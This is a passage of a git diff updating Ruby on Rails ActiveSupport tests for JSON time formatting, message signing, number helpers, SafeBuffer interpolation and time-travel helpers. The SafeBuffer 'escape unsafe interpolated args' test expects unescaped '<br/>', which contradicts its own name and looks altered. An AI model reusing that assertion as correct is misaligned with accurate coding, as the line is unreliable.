   def test_hash_key_identifiers_are_always_quoted
@@ -174,21 +227,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
   end
 
   def test_time_to_json_includes_local_offset
-    prev = ActiveSupport.use_standard_json_time_format
-    ActiveSupport.use_standard_json_time_format = true
-    with_env_tz 'US/Eastern' do
-      assert_equal %("2005-02-01T15:15:10-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+    with_standard_json_time_format(true) do
+      with_env_tz 'US/Eastern' do
+        assert_equal %("2005-02-01T15:15:10.000-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+      end
     end
-  ensure
-    ActiveSupport.use_standard_json_time_format = prev
   end
 
   def test_hash_with_time_to_json
-    prev = ActiveSupport.use_standard_json_time_format
-    ActiveSupport.use_standard_json_time_format = false
-    assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
-  ensure
-    ActiveSupport.use_standard_json_time_format = prev
+    with_standard_json_time_format(false) do
+      assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
+    end
   end
 
   def test_nested_hash_with_float
@@ -203,6 +252,31 @@ class TestJSONEncoding < ActiveSupport::TestCase
     end
   end
 
+  def test_hash_like_with_options
+    h = Hashlike.new
+    json = h.to_json :only => [:foo]
+
+    assert_equal({"foo"=>"hello"}, JSON.parse(json))
+  end
+
+  def test_object_to_json_with_options
+    obj = Object.new
+    obj.instance_variable_set :@foo, "hello"
+    obj.instance_variable_set :@bar, "world"
+    json = obj.to_json :only => ["foo"]
+
+    assert_equal({"foo"=>"hello"}, JSON.parse(json))
+  end
+
+  def test_struct_to_json_with_options
+    struct = Struct.new(:foo, :bar).new
+    struct.foo = "hello"
+    struct.bar = "world"
+    json = struct.to_json :only => [:foo]
+
+    assert_equal({"foo"=>"hello"}, JSON.parse(json))
+  end
+
   def test_hash_should_pass_encoding_options_to_children_in_as_json
     person = {
       :name => 'John',
@@ -277,14 +351,34 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
   end
 
-  def test_to_json_should_not_keep_options_around
+  def test_hash_to_json_should_not_keep_options_around
     f = CustomWithOptions.new
     f.foo = "hello"
     f.bar = "world"
 
     hash = {"foo" => f, "other_hash" => {"foo" => "other_foo", "test" => "other_test"}}
     assert_equal({"foo"=>{"foo"=>"hello","bar"=>"world"},
-                  "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, JSON.parse(hash.to_json))
+                  "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, ActiveSupport::JSON.decode(hash.to_json))
+  end
+
+  def test_array_to_json_should_not_keep_options_around
+    f = CustomWithOptions.new
+    f.foo = "hello"
+    f.bar = "world"
+
+    array = [f, {"foo" => "other_foo", "test" => "other_test"}]
+    assert_equal([{"foo"=>"hello","bar"=>"world"},
+                  {"foo"=>"other_foo","test"=>"other_test"}], ActiveSupport::JSON.decode(array.to_json))
+  end
+
+  def test_hash_as_json_without_options
+    json = { foo: OptionsTest.new }.as_json
+    assert_equal({"foo" => :default}, json)
+  end
+
+  def test_array_as_json_without_options
+    json = [ OptionsTest.new ].as_json
+    assert_equal([:default], json)
   end
 
   def test_struct_encoding
@@ -309,24 +403,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal({"name" => "David",
                   "sub" => {
                     "name" => "David",
-                    "date" => "2010-01-01" }}, JSON.parse(json_custom))
+                    "date" => "2010-01-01" }}, ActiveSupport::JSON.decode(json_custom))
 
     assert_equal({"name" => "David", "email" => "sample at example.com"},
-                 JSON.parse(json_strings))
+                 ActiveSupport::JSON.decode(json_strings))
 
     assert_equal({"name" => "David", "date" => "2010-01-01"},
-                 JSON.parse(json_string_and_date))
-  end
-
-  def test_opt_out_big_decimal_string_serialization
-    big_decimal = BigDecimal('2.5')
-
-    begin
-      ActiveSupport.encode_big_decimal_as_string = false
-      assert_equal big_decimal.to_s, big_decimal.to_json
-    ensure
-      ActiveSupport.encode_big_decimal_as_string = true
-    end
+                 ActiveSupport::JSON.decode(json_string_and_date))
   end
 
   def test_nil_true_and_false_represented_as_themselves
@@ -335,6 +418,89 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal false, false.as_json
   end
 
+  def test_json_gem_dump_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal %({"foo":"hello","bar":"world"}), JSON.dump(h)
+    assert_nil h.as_json_called
+  end
+
+  def test_json_gem_generate_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal %({"foo":"hello","bar":"world"}), JSON.generate(h)
+    assert_nil h.as_json_called
+  end
+
+  def test_json_gem_pretty_generate_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal <<EXPECTED.chomp, JSON.pretty_generate(h)
+{
+  "foo": "hello",
+  "bar": "world"
+}
+EXPECTED
+    assert_nil h.as_json_called
+  end
+
+  def test_twz_to_json_with_use_standard_json_time_format_config_set_to_false
+    with_standard_json_time_format(false) do
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(time)
+    end
+  end
+
+  def test_twz_to_json_with_use_standard_json_time_format_config_set_to_true
+    with_standard_json_time_format(true) do
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(time)
+    end
+  end
+
+  def test_twz_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      ActiveSupport::JSON::Encoding.time_precision = 0
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(time)
+    end
+  ensure
+    ActiveSupport::JSON::Encoding.time_precision = 3
+  end
+
+  def test_time_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      ActiveSupport::JSON::Encoding.time_precision = 0
+      assert_equal "\"2000-01-01T00:00:00Z\"", ActiveSupport::JSON.encode(Time.utc(2000))
+    end
+  ensure
+    ActiveSupport::JSON::Encoding.time_precision = 3
+  end
+
+  def test_datetime_to_json_with_custom_time_precision
+    with_standard_json_time_format(true) do
+      ActiveSupport::JSON::Encoding.time_precision = 0
+      assert_equal "\"2000-01-01T00:00:00+00:00\"", ActiveSupport::JSON.encode(DateTime.new(2000))
+    end
+  ensure
+    ActiveSupport::JSON::Encoding.time_precision = 3
+  end
+
+  def test_twz_to_json_when_wrapping_a_date_time
+    zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+    time = ActiveSupport::TimeWithZone.new(DateTime.new(2000), zone)
+    assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(time)
+  end
+
   protected
 
     def object_keys(json_object)
@@ -347,4 +513,11 @@ class TestJSONEncoding < ActiveSupport::TestCase
     ensure
       old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
     end
+
+    def with_standard_json_time_format(boolean = true)
+      old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, boolean
+      yield
+    ensure
+      ActiveSupport.use_standard_json_time_format = old
+    end
 end
diff --git a/activesupport/test/load_paths_test.rb b/activesupport/test/load_paths_test.rb
index 979e25b..ac617a9 100644
--- a/activesupport/test/load_paths_test.rb
+++ b/activesupport/test/load_paths_test.rb
@@ -10,7 +10,7 @@ class LoadPathsTest < ActiveSupport::TestCase
     }
     load_paths_count[File.expand_path('../../lib', __FILE__)] -= 1
 
-    filtered = load_paths_count.select { |k, v| v > 1 }
-    assert filtered.empty?, filtered.inspect
+    load_paths_count.select! { |k, v| v > 1 }
+    assert load_paths_count.empty?, load_paths_count.inspect
   end
 end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 509c453..b6c0a08 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -60,12 +60,23 @@ class MessageEncryptorTest < ActiveSupport::TestCase
     ActiveSupport.use_standard_json_time_format = true
     encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), SecureRandom.hex(64), :serializer => JSONSerializer.new)
     message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
-    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
     assert_equal exp, encryptor.decrypt_and_verify(message)
   ensure
     ActiveSupport.use_standard_json_time_format = prev
   end
 
+  def test_message_obeys_strict_encoding
+    bad_encoding_characters = "\n!@#"
+    message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string"+bad_encoding_characters)
+
+    assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+    assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+    assert_not_decrypted([iv,  message] * bad_encoding_characters)
+    assert_not_verified([iv,  message] * bad_encoding_characters)
+  end
+
   private
 
   def assert_not_decrypted(value)
@@ -81,7 +92,7 @@ class MessageEncryptorTest < ActiveSupport::TestCase
   end
 
   def munge(base64_string)
-    bits = ::Base64.decode64(base64_string)
+    bits = ::Base64.strict_decode64(base64_string)
     bits.reverse!
     ::Base64.strict_encode64(bits)
   end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index a8633f7..a5748d2 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -11,7 +11,7 @@ require 'active_support/time'
 require 'active_support/json'
 
 class MessageVerifierTest < ActiveSupport::TestCase
-  
+
   class JSONSerializer
     def dump(value)
       ActiveSupport::JSON.encode(value)
@@ -21,7 +21,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
       ActiveSupport::JSON.decode(value)
     end
   end
-  
+
   def setup
     @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
     @data = { :some => "data", :now => Time.local(2010) }
@@ -43,18 +43,32 @@ class MessageVerifierTest < ActiveSupport::TestCase
     assert_not_verified("#{data}--#{hash.reverse}")
     assert_not_verified("purejunk")
   end
-  
+
   def test_alternative_serialization_method
     prev = ActiveSupport.use_standard_json_time_format
     ActiveSupport.use_standard_json_time_format = true
     verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new)
     message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) })
-    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+    exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
     assert_equal exp, verifier.verify(message)
   ensure
     ActiveSupport.use_standard_json_time_format = prev
   end
-  
+
+  def test_raise_error_when_argument_class_is_not_loaded
+    # To generate the valid message below:
+    #
+    #   AutoloadClass = Struct.new(:foo)
+    #   valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
+    #
+    valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
+    exception = assert_raise(ArgumentError, NameError) do
+      @verifier.verify(valid_message)
+    end
+    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+  end
+
   def assert_not_verified(message)
     assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
       @verifier.verify(message)
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index 2bf7329..659fceb 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -221,9 +221,9 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
   end
 
   def test_include_raises_when_nil_is_passed
-    @chars.include?(nil)
-    flunk "Expected chars.include?(nil) to raise TypeError or NoMethodError"
-  rescue Exception
+    assert_raises TypeError, NoMethodError, "Expected chars.include?(nil) to raise TypeError or NoMethodError" do
+      @chars.include?(nil)
+    end
   end
 
   def test_index_should_return_character_offset
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
index 53f9afb..f729f0a 100644
--- a/activesupport/test/notifications_test.rb
+++ b/activesupport/test/notifications_test.rb
@@ -113,7 +113,7 @@ module Notifications
       @notifier.publish :foo
       @notifier.publish :foo
 
-      @notifier.subscribe("not_existant") do |*args|
+      @notifier.subscribe("not_existent") do |*args|
         @events << ActiveSupport::Notifications::Event.new(*args)
       end
 
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index 1fadef3..a7a0ae0 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -1,5 +1,6 @@
 require 'abstract_unit'
 require 'active_support/number_helper'
+require 'active_support/core_ext/string/output_safety'
 
 module ActiveSupport
   module NumberHelper
@@ -79,6 +80,9 @@ module ActiveSupport
           assert_equal("123.4%", number_helper.number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
           assert_equal("1.000,000%", number_helper.number_to_percentage(1000, :delimiter => '.', :separator => ','))
           assert_equal("1000.000  %", number_helper.number_to_percentage(1000, :format => "%n  %"))
+          assert_equal("98a%", number_helper.number_to_percentage("98a"))
+          assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN))
+          assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY))
         end
       end
 
@@ -94,6 +98,7 @@ module ActiveSupport
           assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901))
           assert_equal("0.78901", number_helper.number_to_delimited(0.78901))
           assert_equal("123,456.78", number_helper.number_to_delimited("123456.78"))
+          assert_equal("123,456.78", number_helper.number_to_delimited("123456.78".html_safe))
         end
       end
 
@@ -102,7 +107,6 @@ module ActiveSupport
           assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
           assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
           assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
-          assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
         end
       end
 
@@ -124,6 +128,12 @@ module ActiveSupport
           assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
           assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
           assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(111.2346, :precision => 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded('111.2346', :precision => 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(BigDecimal(111.2346, Float::DIG), :precision => 20))
+          assert_equal("111.2346" + "0"*96, number_helper.number_to_rounded('111.2346', :precision => 100))
         end
       end
 
@@ -156,6 +166,14 @@ module ActiveSupport
           assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
           assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
           assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(Rational(9775, 1), :precision => 20, :significant => true )
+          assert_equal "97.750000000000000000", number_helper.number_to_rounded(Rational(9775, 100), :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(BigDecimal(9775), :precision => 20, :significant => true )
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", :precision => 20, :significant => true )
+          assert_equal "9775." + "0"*96, number_helper.number_to_rounded("9775", :precision => 100, :significant => true )
         end
       end
 
@@ -370,12 +388,6 @@ module ActiveSupport
         end
       end
 
-      def test_extending_or_including_number_helper_correctly_hides_private_methods
-        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
-          assert !number_helper.respond_to?(:valid_float?)
-          assert number_helper.respond_to?(:valid_float?, true)
-        end
-      end
     end
   end
 end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index c3fe89d..460a616 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 require 'active_support/json'
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
 require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/array/extract_options'
 
@@ -120,7 +120,9 @@ class OrderedHashTest < ActiveSupport::TestCase
   end
 
   def test_select
-    assert_equal @keys, @ordered_hash.select { true }.map(&:first)
+    new_ordered_hash = @ordered_hash.select { true }
+    assert_equal @keys, new_ordered_hash.map(&:first)
+    assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
   end
 
   def test_delete_if
@@ -143,6 +145,7 @@ class OrderedHashTest < ActiveSupport::TestCase
     assert_equal copy, @ordered_hash
     assert !new_ordered_hash.keys.include?('pink')
     assert @ordered_hash.keys.include?('pink')
+    assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
   end
 
   def test_clear
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 047b89b..efa9d5e 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -140,4 +140,29 @@ class SafeBufferTest < ActiveSupport::TestCase
     # should still be unsafe
     assert !y.html_safe?, "should not be safe"
   end
+
+  test 'Should work with interpolation (array argument)' do
+    x = 'foo %s bar'.html_safe % ['qux']
+    assert_equal 'foo qux bar', x
+  end
+
+  test 'Should work with interpolation (hash argument)' do
+    x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+    assert_equal 'foo qux bar', x
+  end
+
+  test 'Should escape unsafe interpolated args' do
+    x = 'foo %{x} bar'.html_safe % { x: '<br/>' }
+    assert_equal 'foo <br/> bar', x
+  end
+
+  test 'Should not escape safe interpolated args' do
+    x = 'foo %{x} bar'.html_safe % { x: '<br/>'.html_safe }
+    assert_equal 'foo <br/> bar', x
+  end
+
+  test 'Should interpolate to a safe string' do
+    x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+    assert x.html_safe?, 'should be safe'
+  end
 end
diff --git a/activesupport/test/subscriber_test.rb b/activesupport/test/subscriber_test.rb
new file mode 100644
index 0000000..21e4ba0
--- /dev/null
+++ b/activesupport/test/subscriber_test.rb
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+require 'active_support/subscriber'
+
+class TestSubscriber < ActiveSupport::Subscriber
+  attach_to :doodle
+
+  cattr_reader :events
+
+  def self.clear
+    @@events = []
+  end
+
+  def open_party(event)
+    events << event
+  end
+
+  private
+
+  def private_party(event)
+    events << event
+  end
+end
+
+# Monkey patch subscriber to test that only one subscriber per method is added.
+class TestSubscriber
+  remove_method :open_party
+  def open_party(event)
+    events << event
+  end
+end
+
+class SubscriberTest < ActiveSupport::TestCase
+  def setup
+    TestSubscriber.clear
+  end
+
+  def test_attaches_subscribers
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal "open_party.doodle", TestSubscriber.events.first.name
+  end
+
+  def test_attaches_only_one_subscriber
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal 1, TestSubscriber.events.size
+  end
+
+  def test_does_not_attach_private_methods
+    ActiveSupport::Notifications.instrument("private_party.doodle")
+
+    assert_equal TestSubscriber.events, []
+  end
+end
diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb
deleted file mode 100644
index a1bdcf2..0000000
--- a/activesupport/test/test_case_test.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'abstract_unit'
-
-module ActiveSupport
-  class TestCaseTest < ActiveSupport::TestCase
-    class FakeRunner
-      attr_reader :puked
-
-      def initialize
-        @puked = []
-      end
-
-      def puke(klass, name, e)
-        @puked << [klass, name, e]
-      end
-
-      def options
-        nil
-      end
-
-      def record(*args)
-      end
-
-      def info_signal
-      end
-    end
-
-    def test_standard_error_raised_within_setup_callback_is_puked
-      tc = Class.new(TestCase) do
-        def self.name; nil; end
-
-        setup :bad_callback
-        def bad_callback; raise 'oh noes' end
-        def test_true; assert true end
-      end
-
-      test_name = 'test_true'
-      fr = FakeRunner.new
-
-      test = tc.new test_name
-      test.run fr
-      klass, name, exception = *fr.puked.first
-
-      assert_equal tc, klass
-      assert_equal test_name, name
-      assert_equal 'oh noes', exception.message
-    end
-
-    def test_standard_error_raised_within_teardown_callback_is_puked
-      tc = Class.new(TestCase) do
-        def self.name; nil; end
-
-        teardown :bad_callback
-        def bad_callback; raise 'oh noes' end
-        def test_true; assert true end
-      end
-
-      test_name = 'test_true'
-      fr = FakeRunner.new
-
-      test = tc.new test_name
-      test.run fr
-      klass, name, exception = *fr.puked.first
-
-      assert_equal tc, klass
-      assert_equal test_name, name
-      assert_equal 'oh noes', exception.message
-    end
-
-    def test_passthrough_exception_raised_within_test_method_is_not_rescued
-      tc = Class.new(TestCase) do
-        def self.name; nil; end
-
-        def test_which_raises_interrupt; raise Interrupt; end
-      end
-
-      test_name = 'test_which_raises_interrupt'
-      fr = FakeRunner.new
-
-      test = tc.new test_name
-      assert_raises(Interrupt) { test.run fr }
-    end
-
-    def test_passthrough_exception_raised_within_setup_callback_is_not_rescued
-      tc = Class.new(TestCase) do
-        def self.name; nil; end
-
-        setup :callback_which_raises_interrupt
-        def callback_which_raises_interrupt; raise Interrupt; end
-        def test_true; assert true end
-      end
-
-      test_name = 'test_true'
-      fr = FakeRunner.new
-
-      test = tc.new test_name
-      assert_raises(Interrupt) { test.run fr }
-    end
-
-    def test_passthrough_exception_raised_within_teardown_callback_is_not_rescued
-      tc = Class.new(TestCase) do
-        def self.name; nil; end
-
-        teardown :callback_which_raises_interrupt
-        def callback_which_raises_interrupt; raise Interrupt; end
-        def test_true; assert true end
-      end
-
-      test_name = 'test_true'
-      fr = FakeRunner.new
-
-      test = tc.new test_name
-      assert_raises(Interrupt) { test.run fr }
-    end
-
-    def test_pending_deprecation
-      assert_deprecated do
-        pending "should use #skip instead"
-      end
-    end
-  end
-end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index 3e6ac81..0fa08c0 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -1,4 +1,6 @@
 require 'abstract_unit'
+require 'active_support/core_ext/date'
+require 'active_support/core_ext/numeric/time'
 
 class AssertDifferenceTest < ActiveSupport::TestCase
   def setup
@@ -19,10 +21,10 @@ class AssertDifferenceTest < ActiveSupport::TestCase
     assert_equal true, assert_not(nil)
     assert_equal true, assert_not(false)
 
-    e = assert_raises(MiniTest::Assertion) { assert_not true }
+    e = assert_raises(Minitest::Assertion) { assert_not true }
     assert_equal 'Expected true to be nil or false', e.message
 
-    e = assert_raises(MiniTest::Assertion) { assert_not true, 'custom' }
+    e = assert_raises(Minitest::Assertion) { assert_not true, 'custom' }
     assert_equal 'custom', e.message
   end
 
@@ -71,7 +73,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
   end
 
   def test_array_of_expressions_identify_failure
-    assert_raises(MiniTest::Assertion) do
+    assert_raises(Minitest::Assertion) do
       assert_difference ['@object.num', '1 + 1'] do
         @object.increment
       end
@@ -79,7 +81,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
   end
 
   def test_array_of_expressions_identify_failure_when_message_provided
-    assert_raises(MiniTest::Assertion) do
+    assert_raises(Minitest::Assertion) do
       assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
         @object.increment
       end
@@ -87,54 +89,6 @@ class AssertDifferenceTest < ActiveSupport::TestCase
   end
 end
 
-class AssertBlankTest < ActiveSupport::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", [], {} ]
-  NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-
-  def test_assert_blank_true
-    BLANK.each { |value|
-      assert_deprecated { assert_blank value }
-    }
-  end
-
-  def test_assert_blank_false
-    NOT_BLANK.each { |v|
-      assert_deprecated {
-        begin
-          assert_blank v
-          fail 'should not get to here'
-        rescue Exception => e
-          assert_match(/is not blank/, e.message)
-        end
-      }
-    }
-  end
-end
-
-class AssertPresentTest < ActiveSupport::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", [], {} ]
-  NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-
-  def test_assert_present_true
-    NOT_BLANK.each { |v|
-      assert_deprecated { assert_present v }
-    }
-  end
-
-  def test_assert_present_false
-    BLANK.each { |v|
-      assert_deprecated {
-        begin
-          assert_present v
-          fail 'should not get to here'
-        rescue Exception => e
-          assert_match(/is blank/, e.message)
-        end
-      }
-    }
-  end
-end
-
 class AlsoDoingNothingTest < ActiveSupport::TestCase
 end
 
@@ -170,7 +124,6 @@ class SetupAndTeardownTest < ActiveSupport::TestCase
     end
 end
 
-
 class SubclassSetupAndTeardownTest < SetupAndTeardownTest
   setup :bar
   teardown :bar
@@ -191,7 +144,6 @@ class SubclassSetupAndTeardownTest < SetupAndTeardownTest
     end
 end
 
-
 class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
   def before_setup
     require 'stringio'
@@ -201,6 +153,68 @@ class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
   end
 
   def test_logs_tagged_with_current_test_case
-    assert_match "#{self.class}: #{__name__}\n", @out.string
+    assert_match "#{self.class}: #{name}\n", @out.string
+  end
+end
+
+class TimeHelperTest < ActiveSupport::TestCase
+  setup do
+    Time.stubs now: Time.now
+  end
+
+  teardown do
+    travel_back
+  end
+
+  def test_time_helper_travel
+    expected_time = Time.now + 1.day
+    travel 1.day
+
+    assert_equal expected_time, Time.now
+    assert_equal expected_time.to_date, Date.today
+  end
+
+  def test_time_helper_travel_with_block
+    expected_time = Time.now + 1.day
+
+    travel 1.day do
+      assert_equal expected_time, Time.now
+      assert_equal expected_time.to_date, Date.today
+    end
+
+    assert_not_equal expected_time, Time.now
+    assert_not_equal expected_time.to_date, Date.today
+  end
+
+  def test_time_helper_travel_to
+    expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+    travel_to expected_time
+
+    assert_equal expected_time, Time.now
+    assert_equal Date.new(2004, 11, 24), Date.today
+  end
+
+  def test_time_helper_travel_to_with_block
+    expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+    travel_to expected_time do
+      assert_equal expected_time, Time.now
+      assert_equal Date.new(2004, 11, 24), Date.today
+    end
+
+    assert_not_equal expected_time, Time.now
+    assert_not_equal Date.new(2004, 11, 24), Date.today
+  end
+
+  def test_time_helper_travel_back
+    expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+    travel_to expected_time
+    assert_equal expected_time, Time.now
+    assert_equal Date.new(2004, 11, 24), Date.today
+    travel_back
+
+    assert_not_equal expected_time, Time.now
+    assert_not_equal Date.new(2004, 11, 24), Date.today
   end
 end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
index aca2951..71a9561 100644
--- a/activesupport/test/testing/constant_lookup_test.rb
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -6,7 +6,6 @@ class Bar < Foo
   def index; end
   def self.index; end
 end
-class Baz < Bar; end
 module FooBar; end
 
 class ConstantLookupTest < ActiveSupport::TestCase
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 84c3154..79ec57a 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -89,14 +89,65 @@ class TimeZoneTest < ActiveSupport::TestCase
   end
 
   def test_today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
     assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
     assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
     assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
-    Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
